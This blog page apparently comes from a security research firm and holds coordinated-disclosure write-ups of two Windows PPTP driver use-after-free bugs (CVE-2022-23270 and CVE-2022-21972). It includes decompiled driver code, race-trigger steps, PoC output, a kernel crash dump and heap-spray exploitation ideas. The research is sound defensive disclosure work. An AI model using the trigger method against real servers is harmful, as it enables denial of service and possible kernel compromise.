Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulnerabily Research

CVE-2022-23270 – Windows Server VPN Remote Kernel Use After Free Vulnerability (Part 2)

11 May 2022 at 09:00

Following yesterday’s Microsoft VPN vulnerability, today we’re presenting CVE-2022-23270, which is another windows VPN Use after Free (UaF) vulnerability that was discovered through reverse engineering and fuzzing the raspptp.sys kernel driver. This presents attackers with another chance to perform denial of service and potentially even achieve remote code execution against a target server.

Affected Versions

The vulnerability affects most versions of Windows Server and Windows Desktop since Windows Server 2008 and Windows 7 Respectively. To see a full list of affected Windows versions check the official disclosure post on MSRC:

The vulnerability affects both server and client use cases of the raspptp.sys driver and can potentially be triggered in both cases. This blog post will focus on triggering the vulnerability against a server target.

Introduction

CVE-2022-23270 is heavily dependent on the implementation of the winsock Kernel (WSK) layer in raspptp.sys, to be successfully triggered. If you want to learn more about the internals of raspptp.sys and how it interacts with WSK, we suggest you read our write up for CVE-2022-21972 before continuing:

CVE-2022-23270 is a Use after Free (UaF) resulting in Double Free that occurs as the result of a race condition. It resides in the implementation of PPTP Calls in the raspptp.sys driver.

PPTP implements two sockets; a TCP control connection and a GRE data connection. Calls are setup and managed by the control connection and are used to identify individual data streams handled by the GRE connection. The Call functionality makes it easy for PPTP to multiplex multiple different streams of VPN data over one connection.

Now we know in simple terms what PPTP calls are, lets see how they can be broken!

The Vulnerability

This section explores the underlying vulnerability.  We will then move on to triggering the vulnerable code on the target.

PPTP Call Context Objects

PPTP calls can be created through an IncomingCallRequest or an OutgoingCallRequest control message. The raspptp.sys driver creates a call context structure when either of these call requests are initiated by a connected PPTP client. The call context structures are designed to be used for tracking information and buffering GRE data for a call connection. For this vulnerability construction of the objects by raspptp.sys is unimportant we instead care about how they are accessed.

Accessing the Call Context

There are two ways in which handling a PPTP control message can retrieve a call context structure. Both methods require the client to know the associated call ID for the call context structure. This ID is randomly generated by the server sent to the client within the reply to the Incoming or Outgoing call request. The client then uses that ID in all subsequent control messages sent to the server that relate to that specific call. See the PPTP RFC (https://datatracker.ietf.org/doc/html/rfc2637) for more information on how this is handled.

raspptp.sys uses two methods to access the call context structures when parsing control messages:

  • Globally accessible Call ID indexed array.
  • PPTP control connection context stored link list.

The difference between these two access methods is scope. The global array can retrieve any call allocated by any control connection, but the linked list only contains calls relating to the control connection containing it.

Let’s go a bit deeper into these access methods and see if they play nicely together…

Linked List Access

The linked list access method is performed through two functions within raspptp.sys. EnumListEntry which is used to iterate through each member of the control connection call linked list and EnumComplete which is used to end the current loop and reset state.

while ( 1 )
{
    EnumRecord = EnumListEntry(
    &lpPptpCtlCx->CtlCallDoubleLinkedList,
    (LIST_ENTRY *)&ListIterator,
    &lpPptpCtlCx->pPptpAdapterCtx->PptpAdapterSpinLock);
    if ( !EnumRecord )
        break;
    EnumCallCtx = (CtlCall *)(EnumRecord - 2);
    if ( EnumRecord != (PVOID *)16 && EnumCallCtx->CallAllocTag == 'CPTP' )
        CallEventOutboundTunnelEstablished(EnumCallCtx);
}
Itreator = (LIST_ENTRY *)&ListIterator;
EnumComplete(Itreator, (KSPIN_LOCK)&lpPptpCtlCx->pPptpAdapterCtx->PptpAdapterSpinLock);

The ListIterator variable is used to store the current linked list entry that has been reached in the list so that the loop can continue from this point on the next call to EnumListEntry. EnumComplete simply resets the ListIterator variable once it’s done with. The way in which this code appears in the raspptp.sys driver can change around slightly but the overall method is the same. Call EnumListEntry repeatedly until it returns null and then call EnumComplete to tidy up the iterator.

Global Call Array

The global array access method is handled through a function called CallGetCall:

CtlCall *__fastcall CallGetCall(PptpAdapterContext *AdapterCtx, unsigned __int64 CallId)
{
    PptpAdapterContext *lpAdapterCtx;
    unsigned __int64 lpCallId;
    CtlCall *CallEntry;
    KIRQL curAdaperIRQL;
    unsigned __int64 BaseCallID;
    unsigned __int64 CallIdMaskApplied;

    lpAdapterCtx = AdapterCtx;
    lpCallId = CallId;
    CallEntry = 0i64;
    curAdaperIRQL = KeAcquireSpinLockRaiseToDpc(&AdapterCtx->PptpAdapterSpinLock);
    BaseCallID = (unsigned int)PptpBaseCallId;
    lpAdapterCtx->HandlerIRQL = curAdaperIRQL;
    if ( lpCallId >= BaseCallID && lpCallId < (unsigned int)PptpMaxCallId )
    {
        if ( PptpCallIdMaskSet )
        {
            CallIdMaskApplied = (unsigned int)lpCallId & PptpCallIdMask;
            if ( CallIdMaskApplied < (unsigned int)PptpWanEndpoints )
            {
                CallEntry = lpAdapterCtx->PptpWanEndpointsArray + CallIdMaskApplied;
                if ( CallEntry )
                    {
                        if ( CallEntry->PptpWanEndpointFullCallId != lpCallId )
                            CallEntry = 0i64;
                    }
            }
        }
        else
        {
            CallEntry = lpAdapterCtx->PptpWanEndpointsArray + lpCallId - BaseCallID;
        }
    }
KeReleaseSpinLock(&lpAdapterCtx->PptpAdapterSpinLock, curAdaperIRQL);
return CallEntry;
}

This function effectively just retrieves the array slot that the call context structure should be stored in based on the provided call ID. It then returns the structure at that entry provided that it matches the specified ID and is in fact a valid entry.

So, what’s the issue? Both of these access methods look pretty harmless, right? There is one subtle and simple issue in the way these access methods are used. Locking!

Cross Thread Access?

CallGetCall is intended to be able to retrieve any call allocated by any currently connected control connection. Since a control connection doesn’t care about other control connection owned calls the control connection state machine should have no use for CallGetCall or at least, according to the PPTP RFC, it shouldn’t. However, this isn’t the case there are several control connection methods in raspptp.sys that use CallGetCall instead of referencing the internal control connection linked list!

If CallGetCall lets us access other control connection call context structures and certain parts of the PPTP handling can occur concurrently, then we can theoretically access the same call context structure in two different threads at the same time! This is starting to sound like a recipe for some racy memory corruption conditions.

Lock and Roll

Both the linked list access method and the CallGetCall function reference a PptpAdapterSpinLock variable on a global context structure. This is a globally accessible kernel spin lock that is to be used to prevent concurrent access to things which can be accessed globally. Using this should make any concurrent use of either call context list access method safe, right?

This isn’t the case at all. Looking at the above pseudo code the lock in CallGetCall is only actually held when we are searching through the list, which is great for the lookup but it’s not held once the call structure is returned. Unless the caller re locks the global lock before using the context structure (spoiler alert, it does not) then we have a potential window for unsafe concurrent access.

Concurrent access doesn’t necessarily mean we have a vulnerability. To prove that we have a vulnerability, we need two code locations that could cause a further issue when running with access to the object at the same time. For example, any form of free operation performed on the structure in this scenario could be a good source of an exploitable issue.

Getting Memory Corruption

Within the raspptp.sys driver there are many places where the kind of access we’re looking for can occur and cause different kinds of issues. Going over all of them is probably an entire series worth of blog posts that we can’t imagine anyone really wants. The one we ended up using for the Proof of Concept (PoC) involves the following two operations:

  • Closing A Control Connection
    • When a control connection is closed the control connections call linked list is walked and each call context structure is appropriately de-initialised and freed. This operation is performed by a familiar function, CtlpCleanup.
  • Sending an OutgoingCallReply control message with an error code set
    • If an OutgoingCallReply message is sent with an error set the call structure that it relates to is freed. The CallGetCall function is used for looking up the call context structure in this control message handling, which means we can use it to perform the free while the control connection close routine is running in a separate thread.

These two conditions create a scenario where if both were to happen consecutively, a call context structure is freed twice, causing a Use after Free/Double Free issue!

Race Against the Machine!

To trigger the race we need to take the following high level steps:

  • Create two control connections and initialise them so we can create calls.
  • On the first connection, we create the maximum allowed number of calls the server will allow us to.
  • We then consecutively close the first connection and start sending OutGoingCallReply messages for the allocated call IDs.
    • This realistically needs to be done in separate threads bound to separate CPU cores to guarantee true concurrency.
  • Then we sit back and wait for the race to be won?

In practice, reliably implementing these steps is a lot more difficult than it would initially seem. The window for reliably triggering the race condition and the amount of time we have to do something useful once the initial free occurs is incredibly small, even in the best case scenario.

However, this does not mean that it cannot be achieved. With a significant amount of effort it is possible to greatly increase the reliability of triggering the vulnerability. There are many different factors that can be played with to build a path towards successful exploitation.

One Lock, Two Lock, Three Lock, Four!

Let’s take a look at the two bits of code we’re hoping to get perfectly aligned and see just how tricky this race condition is actually going to be.

The CtlpCleanup Linked List Iteration

for ( ListIterator = (LIST_ENTRY *)EnumListEntry(
    &lpCtlCtxToCleanup->CtlCallDoubleLinkedList,
    &iteratorState,
    &gAdapter->PptpAdapterSpinLock);
    ListIterator;
    ListIterator = (LIST_ENTRY *)EnumListEntry(
    &lpCtlCtxToCleanup->CtlCallDoubleLinkedList,
    &iteratorState,
    &lpCtlCtxToCleanup->pPptpAdapterCtx->PptpAdapterSpinLock) )
    {
        lpCallCtx = (CtlCall *)&ListIterator[-1];
        if ( ListIterator != (LIST_ENTRY *)16 && lpCallCtx->CallAllocTag == 'CPTP' )
        {
            ...
        CallCleanup(lpCallCtx); // this will eventually free the call strructure
    }
}

We can see here that the loop is fairly small. The main part that we are interested in is the call to CallCleanup that is performed on each Call structure in the control context linked list. Now unfortunately this function is not as simple as we would like. The function contains a large number of different paths to execute and could potentially have a variety of ways that make our race condition harder or easier to exploit. The section that is most interesting for us in our PoC is the following pseudo code snippet.

lpIRQL = KeAcquireSpinLockRaiseToDpc(&lpCallToClean->CtlCallSpinLock_A);
lpCallToClean->NdisVcHandle = 0i64;
lpCallToClean->CurIRQL = lpIRQL;
CallDetachFromAdapter(lpCallToClean);
KeReleaseSpinLock(&lpCallToClean->CtlCallSpinLock_A, lpCallToClean->CurIRQL);
if...
    CtlDisconnectCall(lpCallToClean);
    CallpCancelCallTimers(lpCallToClean);
    DereferenceRefCount(lpCallToClean); // Decrement from Ctl loop
    lpCallToClean->CurIRQL = KeAcquireSpinLockRaiseToDpc(&lpCallToClean->CtlCallSpinLock_A);
}
}

KeReleaseSpinLock(&lpCallToClean->CtlCallSpinLock_A, lpCallToClean->CurIRQL);
return DereferenceRefCount(lpCallToClean); // Freeing decrement

Here, a set of detach operations are performed to remove the call structure from the lists its stored in and appropriately decrease its internal reference count. A side effect of this detach phase is that the call context structure is removed from both the linked list and global array. This means that if one thread gets to far through processing a call context structure free before the other one retrieves it from the respective list, the race will already be lost. This further adds to the difficulty in getting these two sections of code lined up.

Ultimately the final call to DereferenceRefCount causes the release of the underlying memory which in our scenario it does by calling the call context structures internal free function pointer to the CallFree function. Before we go over what CallFree does, lets look at the other half of the race condition.

OutgoingCallReply Handling

lpCallOutgoingCallCtx = CallGetCall(lpPptpCtlCx->pPptpAdapterCtx, ReasonCallIdMasked);
if ( lpCallOutgoingCallCtx )
{
    CallEventCallOutReply(lpCallOutgoingCallCtx, lpCtlPayloadBuffer);
}

The preceding excerpt of pseudo code is the bit of the OutgoingCallReply handling that we will be using to access the call context structures from a separate thread. Let’s take a look at the logic in this function which will also free the call context object!

lpCallCtx->CurIRQL = KeAcquireSpinLockRaiseToDpc(&lpCallCtx->CtlCallSpinLock_A); 
... 
KeReleaseSpinLock(&lpCallCtx->CtlCallSpinLock_A, lpCallCtx->CurIRQL); 
if ( OutGoingCallReplyStatusCode ) { 
    CallSetState(lpCallCtx, 0xBu, v8, 0); CallCleanup(lpCallCtx);
}

This small code snippet from CallEventCallOutReply represents the code that is relevant for our PoC. Effectively if the status field of the OutgoingCallReply message is set then a call to CallCleanup happens and again will eventually result in CallFree being hit.

CallFree

The call free function releases resources for multiple sub objects stored in the call context as well as the call context itself:

void __fastcall CallFree(CtlCall *CallToBeFreed)
{
    CtlCall *lpCallToBeFreed;
    _NET_BUFFER_LIST *v2;
    NDIS_HANDLE v3;
    NDIS_HANDLE v4;
    PNDIS_HANDLE v5;
    PNDIS_HANDLE v6;
    PNDIS_HANDLE v7;

    if ( CallToBeFreed )
    {
        lpCallToBeFreed = CallToBeFreed;
         ...
         v2 = lpCallToBeFreed->CtlNetBufferList_A;
    if ( v2 )
         ChunkLChunkength(v2);
         v3 = lpCallToBeFreed->CtlCallWorkItemHandle_A;
    if ( v3 )
         NdisFreeIoWorkItem(v3);
         v4 = lpCallToBeFreed->CtlCallWorkItemHandle_B;
    if ( v4 )
        NdisFreeIoWorkItem(v4);
        v5 = lpCallToBeFreed->hCtlCallCloseTimeoutTimerObject;
    if ( v5 )
        NdisFreeTimerObject(v5);
        v6 = lpCallToBeFreed->hCtlCallAckTimeoutTimerObject;
    if ( v6 )
        NdisFreeTimerObject(v6);
        v7 = lpCallToBeFreed->hCtlDieTimeoutTimerObject;
    if ( v7 )
        NdisFreeTimerObject(v7);
        ExFreePoolWithTag(lpCallToBeFreed, 0);
    }
}

In CallFree, none of the sub-objects have their pointers Nulled out by raspptp.sys. This means that any one of these objects will cause potential double free conditions to occur, giving us a few different locations where we can expect a potential issue to occur when triggering the vulnerability.

Something that you may notice looking at the code snippets for this vulnerability is that there are large portions of overlapping locks. These will in effect cause each thread not to be able to enter certain sections of the cleanup and freeing process at the same time, which makes the race condition harder to predict. However, it does not prevent it from being possible.

We have knowingly not included many of the other hazards and caveats for triggering this vulnerability, as there are just too many different factors to go over, and in actuality a lot of them are self-correcting (luckily for us). The main reason we can ignore a lot of these hazards is that none of them truly stop the two threads from entering the vulnerable condition!

Proof of Concept

We will not yet be publishing our PoC for this vulnerability to allow time for patches to be fully adopted. This unfortunately makes it hard to show the exact process we took to trigger the vulnerability, but we will release the PoC script at a later date! For now here is a little sneak peak at the outputs:

[+] Race Condition Trigger Attempt: 1, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 2, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 3, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 4, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 5, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 6, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 7, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 8, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 9, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 10, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 11, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 12, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 13, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 14, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 15, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 16, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 17, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 18, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 19, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 20, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 21, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 22, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 23, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 24, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 25, With spacing 0 and sled 25
[+] Race Condition Trigger Attempt: 26, With spacing 0 and sled 25
[****] The Server Has Crashed!

A Wild Crash Appeared!

The first step in PoC development is achieving a successful trigger of a vulnerability and usually for kernel vulnerabilities this means causing a crash! Here it is. A successful trigger of our race condition causing the target server to show us the iconic Blue Screen of Death (BSOD):

Now this crash has the following vulnerability check analysis and its pretty conclusive that we’ve caused one of the intended double free scenarios.

*******************************************************************************
* *
* Vulnerabilitycheck Analysis *
* *
*******************************************************************************

KERNEL_SECURITY_CHECK_FAILURE (139)
A kernel component has corrupted a critical data structure. The corruption
could potentially allow a malicious user to gain control of this machine.
Arguments:
Arg1: 0000000000000003, A LIST_ENTRY has been corrupted (i.e. double remove).
Arg2: ffffa8875b31e820, Address of the trap frame for the exception that caused the vulnerabilitycheck
Arg3: ffffa8875b31e778, Address of the exception record for the exception that caused the vulnerabilitycheck
Arg4: 0000000000000000, Reserved

Devulnerabilityging Details:
------------------

KEY_VALUES_STRING: 1

Key : Analysis.CPU.mSec
Value: 5327

Key : Analysis.DevulnerabilityAnalysisManager
Value: Create

Key : Analysis.Elapsed.mSec
Value: 22625

Key : Analysis.Init.CPU.mSec
Value: 46452

Key : Analysis.Init.Elapsed.mSec
Value: 9300845

Key : Analysis.Memory.CommitPeak.Mb
Value: 82

Key : FailFast.Name
Value: CORRUPT_LIST_ENTRY

Key : FailFast.Type
Value: 3

Key : WER.OS.Branch
Value: fe_release

Key : WER.OS.Timestamp
Value: 2021-05-07T15:00:00Z

Key : WER.OS.Version
Value: 10.0.20348.1

VULNERABILITYCHECK_CODE: 139

VULNERABILITYCHECK_P1: 3

VULNERABILITYCHECK_P2: ffffa8875b31e820

VULNERABILITYCHECK_P3: ffffa8875b31e778

VULNERABILITYCHECK_P4: 0

TRAP_FRAME: ffffa8875b31e820 -- (.trap 0xffffa8875b31e820)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000000 rbx=0000000000000000 rcx=0000000000000003
rdx=ffffcf88f1a78338 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8025f8d8ae1 rsp=ffffa8875b31e9b0 rbp=ffffcf88f1ae0602
r8=0000000000000010 r9=000000000000000b r10=fffff8025b0ddcb0
r11=0000000000000001 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
NDIS!ndisFreeNblToNPagedPool+0x91:
fffff802`5f8d8ae1 cd29 int 29h
Resetting default scope

EXCEPTION_RECORD: ffffa8875b31e778 -- (.exr 0xffffa8875b31e778)
ExceptionAddress: fffff8025f8d8ae1 (NDIS!ndisFreeNblToNPagedPool+0x0000000000000091)
ExceptionCode: c0000409 (Security check failure or stack buffer overrun)
ExceptionFlags: 00000001
NumberParameters: 1
Parameter[0]: 0000000000000003
Subcode: 0x3 FAST_FAIL_CORRUPT_LIST_ENTRY

PROCESS_NAME: System

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_CODE_STR: c0000409

EXCEPTION_PARAMETER1: 0000000000000003

EXCEPTION_STR: 0xc0000409

STACK_TEXT:
ffffa887`5b31dcf8 fffff802`5b354ea2 : ffffa887`5b31de60 fffff802`5b17bb30 ffff9200`174e5180 00000000`00000000 : nt!DbgBreakPointWithStatus
ffffa887`5b31dd00 fffff802`5b3546ed : ffff9200`00000003 ffffa887`5b31de60 fffff802`5b22c910 00000000`00000139 : nt!KiVulnerabilityCheckDevulnerabilityBreak+0x12
ffffa887`5b31dd60 fffff802`5b217307 : ffffa887`5b31e4e0 ffff9200`1732a180 ffffcf88`ef584700 fffffff6`00000004 : nt!KeVulnerabilityCheck2+0xa7d
ffffa887`5b31e4c0 fffff802`5b229d69 : 00000000`00000139 00000000`00000003 ffffa887`5b31e820 ffffa887`5b31e778 : nt!KeVulnerabilityCheckEx+0x107
ffffa887`5b31e500 fffff802`5b22a1b2 : 00000000`00000000 fffff802`5f5a1285 ffffcf88`edd5c210 fffff802`5b041637 : nt!KiVulnerabilityCheckDispatch+0x69
ffffa887`5b31e640 fffff802`5b228492 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiFastFailDispatch+0xb2
ffffa887`5b31e820 fffff802`5f8d8ae1 : ffffcf88`ef584c00 ffffcf88`ef584700 00000000`00000000 00000000`00000000 : nt!KiRaiseSecurityCheckFailure+0x312
ffffa887`5b31e9b0 fffff802`5f8d5d3d : ffffcf88`f1a78350 00000000`00000000 ffffcf88`f1ae06b8 01000000`000002d0 : NDIS!ndisFreeNblToNPagedPool+0x91
ffffa887`5b31e9e0 fffff802`62bd2f7d : ffffcf88`f1ae06b8 fffff802`62bda000 ffffcf88`f1a78050 ffffcf88`f202dd70 : NDIS!NdisFreeNetBufferList+0x11d
ffffa887`5b31ea20 fffff802`62bd323f : ffffcf88`f202dd70 ffffcf88`ef57f1a0 ffffcf88`ef1fc7e8 ffffcf88`f1ae0698 : raspptp!CallFree+0x65
ffffa887`5b31ea50 fffff802`62bd348e : ffffcf88`f1a78050 00000000`00040246 ffffa887`5b31eaa0 00000000`00000018 : raspptp!CallpFinalDerefEx+0x7f
ffffa887`5b31ea80 fffff802`62bd2bad : ffffcf88`f1ae06b8 ffffcf88`f1a78050 00000000`0000000b ffffcf88`f1a78050 : raspptp!DereferenceRefCount+0x1a
ffffa887`5b31eab0 fffff802`62be37b2 : ffffcf88`f1ae0660 ffffcf88`f1ae0698 ffffcf88`f1ae06b8 ffffcf88`f1a78050 : raspptp!CallCleanup+0x61d
ffffa887`5b31eb00 fffff802`62bd72bd : ffffcf88`00000000 ffffcf88`f15ce810 00000000`00000080 fffff802`62bd7290 : raspptp!CtlpCleanup+0x112
ffffa887`5b31eb90 fffff802`5b143425 : ffffcf88`ef586040 fffff802`62bd7290 00000000`00000000 00000000`00000000 : raspptp!MainPassiveLevelThread+0x2d
ffffa887`5b31ebf0 fffff802`5b21b2a8 : ffff9200`1732a180 ffffcf88`ef586040 fffff802`5b1433d0 00000000`00000000 : nt!PspSystemThreadStartup+0x55
ffffa887`5b31ec40 00000000`00000000 : ffffa887`5b31f000 ffffa887`5b319000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x28

SYMBOL_NAME: raspptp!CallFree+65

MODULE_NAME: raspptp

IMAGE_NAME: raspptp.sys

STACK_COMMAND: .thread ; .cxr ; kb

BUCKET_ID_FUNC_OFFSET: 65

FAILURE_BUCKET_ID: 0x139_3_CORRUPT_LIST_ENTRY_raspptp!CallFree

OS_VERSION: 10.0.20348.1

BUILDLAB_STR: fe_release

OSPLATFORM_TYPE: x64

OSNAME: Windows 10

FAILURE_ID_HASH: {5d4f996e-8239-e9e8-d111-fdac16b209be}

Followup: MachineOwner
---------

It turns out that the double free trigger here is triggering a kernel assertion to be raised on a linked list. The cause of this is one of those sub objects on the call context structure we mentioned earlier. Now, while crashes are great for PoC’s they are not great for exploits, so what do we need to do next if we want to look at further exploitation more seriously?

Exploitation – Next Steps

The main way in which this particular double free scenario can be exploited would be to attempt to spray objects into the kernel heap that will instead be incorrectly freed by our second free instead of causing the above kernel vulnerability check.

The first object that might make a good contender is the call context structure itself. If we were to spray a new call context into the freed memory between the two frees being run then we would have a freed call context structure still connected to a valid and accessible control connection. This new call context structure would be comprised of mostly freed sections of memory that can then be used to cause further memory corruption and potentially achieve kernel RCE against a target server!

Conclusion

Race conditions are a particularly tricky set of vulnerabilities, especially when it comes to getting reliable exploitation. In this scenario we have a remarkably small windows of opportunity to do something potentially dangerous. Exploit development, however, is the art of taking advantage of small opportunities. Achieving RCE with this vulnerability might seem like an unlikely event but it is certainly possible! RCE is also not the only use of this vulnerability with local access to a target machine; it doubles as an opportunity for Local Privilege Escalation (LPE). All this makes CVE-2022-23270 something that in the right hands could be very dangerous.

Timeline

  • Vulnerability Reported To Microsoft – 29 October 2021
  • Vulnerability Acknowledged – 29 October 2021
  • Vulnerability Confirmed – 11 November 2021
  • Patch Release Date Confirmed – 12 January 2022
  • Patch Release – 10 May 2022

The post CVE-2022-23270 – Windows Server VPN Remote Kernel Use After Free Vulnerability (Part 2) appeared first on Nettitude Labs.

CVE-2022-21972: Windows Server VPN Remote Kernel Use After Free Vulnerability (Part 1)

10 May 2022 at 09:00

CVE-2022-21972 is a Windows VPN Use after Free (UaF) vulnerability that was discovered through reverse engineering the raspptp.sys kernel driver. The vulnerability is a race condition issue and can be reliably triggered through sending crafted input to a vulnerable server. The vulnerability can be be used to corrupt memory and could be used to gain kernel Remote Code Execution (RCE) or Local Privilege Escalation (LPE) on a target system.

Affected Versions

The vulnerability affects most versions of Windows Server and Windows Desktop since Windows Server 2008 and Windows 7 respectively. To see a full list of affected Windows versions check the official disclosure post on MSRC:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21972

The vulnerable code is present on both server and desktop distributions, however due to configuration differences, only the server deployment is exploitable.

Overview

This vulnerability is based heavily on how socket object life cycles are managed by the raspptp.sys driver. In order to understand the vulnerability we must first understand some of the basics in the kernel driver interacts with sockets to implement network functionality.

Sockets In The Windows Kernel – Winsock Kernel (WSK)

WSK is the name of the Windows socket API that can be used by drivers to create and use sockets directly from the kernel. Head over to https://docs.microsoft.com/en-us/windows-hardware/drivers/network/winsock-kernel-overview to see an overview of the system.

The way in which the WSK API is usually used is through a set of event driven call back functions. Effectively, once a socket is set up, an application can provide a dispatch table containing a set of function pointers to be called for socket related events. In order for an application to be able to maintain its own state through these callbacks, a context structure is also provided by the driver to be given to each callback so that state can be tracked for the connection throughout its life-cycle.

raspptp.sys and WSK

Now that we understand the basics of how sockets are interacted with in the kernel, let’s look at how the raspptp.sys driver uses WSK to implement the PPTP protocol.

The PPTP protocol specifies two socket connections; a TCP socket used for managing a VPN connection and a GRE (Generic Routing Encapsulation) socket used for sending and receiving the VPN network data. The TCP socket is the only one we care about for triggering this issue, so lets break down the life cycle of how raspptp.sys handles these connections with WSK

  1. A new listening socket is created by the WskOpenSocket function in raspptp.sys.  This function is passed a WSK_CLIENT_LISTEN_DISPATCH dispatch table with the WskConnAcceptEvent function specified as the WskAcceptEven handler. This is the callback that handles a socket accept event, aka new incoming connection.
  2. When a new client connects to the server the WskConnAcceptEvent function is called.  This function allocates a new context structure for the new client socket and registers a WSK_CLIENT_CONNECTION_DISPATCH dispatch table with all event callback functions specified. These are WskConnReceiveEvent, WskConnDisconnectEvent and WskConnSendBacklogEvent for receive, disconnect and send events respectively.
  3. Once the accept event is fully resolved, WskAcceptCompletion is called and a callback is triggered (CtlConnectQueryCallback) which completes initialisation of the PPTP Control connection and creates a context structure specifically for tracking the state of the clients PPTP control connection. This is the main object which we care about for this vulnerability.

The PPTP Control connection context structure is allocated by the CtlAlloc function. Some abbreviated pseudo code for this function is:

PptpCtlCtx *__fastcall CtlAlloc(PptpAdapterContext *AdapterCtx)
{
    PptpAdapterContext *lpPptpAdapterCtx;
    PptpCtlCtx *PptpCtlCtx;
    PptpCtlCtx *lpPptpCtlCtx;
    NDIS_HANDLE lpNDISMiniportHandle;
    PDEVICE_OBJECT v6;
    __int64 v7;
    NDIS_HANDLE lpNDISMiniportHandle_1;
    NDIS_HANDLE lpNDISMiniportHandle_2;
    struct _NDIS_TIMER_CHARACTERISTICS TimerCharacteristics;

    lpPptpAdapterCtx = AdapterCtx;
    PptpCtlCtx = (PptpCtlCtx *)MyMemAlloc(0x290ui64, 'TPTP'); // Actual name of the allocator function in the raspptp.sys code
    lpPptpCtlCtx = PptpCtlCtx;
    if ( PptpCtlCtx )
    {
        memset(PptpCtlCtx, 0, 0x290ui64);
        ReferenceAdapter(lpPptpAdapterCtx);
        lpPptpCtlCtx->AllocTagPTPT = 'TPTP';
        lpPptpCtlCtx->CtlMessageTypeToLength = (unsigned int *)&PptpCtlMessageTypeToSizeArray;
        lpPptpCtlCtx->pPptpAdapterCtx = lpPptpAdapterCtx;
        KeInitializeSpinLock(&lpPptpCtlCtx->CtlSpinLock);
        lpPptpCtlCtx->CtlPptpWanEndpointsEntry.Blink = &lpPptpCtlCtx->CtlPptpWanEndpointsEntry;
        lpPptpCtlCtx->CtlCallDoubleLinkedList.Blink = &lpPptpCtlCtx->CtlCallDoubleLinkedList;
        lpPptpCtlCtx->CtlCallDoubleLinkedList.Flink = &lpPptpCtlCtx->CtlCallDoubleLinkedList;
        lpPptpCtlCtx->CtlPptpWanEndpointsEntry.Flink = &lpPptpCtlCtx->CtlPptpWanEndpointsEntry;
        lpPptpCtlCtx->CtlPacketDoublyLinkedList.Blink = &lpPptpCtlCtx->CtlPacketDoublyLinkedList;
        lpPptpCtlCtx->CtlPacketDoublyLinkedList.Flink = &lpPptpCtlCtx->CtlPacketDoublyLinkedList;
        lpNDISMiniportHandle = lpPptpAdapterCtx->MiniportNdisHandle;
        TimerCharacteristics.TimerFunction = (PNDIS_TIMER_FUNCTION)CtlpEchoTimeout;
        *(_DWORD *)&TimerCharacteristics.Header.Type = 0x180197;
        TimerCharacteristics.AllocationTag = 'TMTP';
        TimerCharacteristics.FunctionContext = lpPptpCtlCtx;
        if ( NdisAllocateTimerObject(
            lpNDISMiniportHandle,
            &TimerCharacteristics,
            &lpPptpCtlCtx->CtlEchoTimeoutNdisTimerHandle) )
        {
        ...
        }
        else
        {
            lpNDISMiniportHandle_1 = lpPptpAdapterCtx->MiniportNdisHandle;
            TimerCharacteristics.TimerFunction = (PNDIS_TIMER_FUNCTION)CtlpWaitTimeout;
            if ( NdisAllocateTimerObject(
            lpNDISMiniportHandle_1,
            &TimerCharacteristics,
            &lpPptpCtlCtx->CtlWaitTimeoutNdisTimerHandle) )
            {
                ...
            }
            else
            {
                lpNDISMiniportHandle_2 = lpPptpAdapterCtx->MiniportNdisHandle;
                TimerCharacteristics.TimerFunction = (PNDIS_TIMER_FUNCTION)CtlpStopTimeout;
                if ( !NdisAllocateTimerObject(
                lpNDISMiniportHandle_2,
                &TimerCharacteristics,
                &lpPptpCtlCtx->CtlStopTimeoutNdisTimerHandle) )
                {
                    KeInitializeEvent(&lpPptpCtlCtx->CtlWaitTimeoutTriggered, NotificationEvent, 1u);
                    KeInitializeEvent(&lpPptpCtlCtx->CtlWaitTimeoutCancled, NotificationEvent, 1u);
                    lpPptpCtlCtx->CtlCtxReferenceCount = 1;// Set reference count to an initial value of one
                    lpPptpCtlCtx->fpCtlCtxFreeFn = (__int64)CtlFree;
                    ExInterlockedInsertTailList(
                    (PLIST_ENTRY)&lpPptpAdapterCtx->PptpWanEndpointsFlink,
                    &lpPptpCtlCtx->CtlPptpWanEndpointsEntry,
                    &lpPptpAdapterCtx->PptpAdapterSpinLock);
                    return lpPptpCtlCtx;
                }
                ...
            }
        }
        ...
    }
    if...
        return 0i64;
}

The important parts of this structure to note are the CtlCtxReferenceCount and CtlWaitTimeoutNdisTimerHandle structure members. This new context structure is stored on the socket context for the new client socket and can then be referenced for all of the events relating to the socket it binds to.

The only section of the socket context structure that we then care about are the following fields:

00000008 ContextPtr dq ? ; PptpCtlCtx
00000010 ContextRecvCallback dq ? ; CtlReceiveCallback
00000018 ContextDisconnectCallback dq ? ; CtlDisconnectCallback
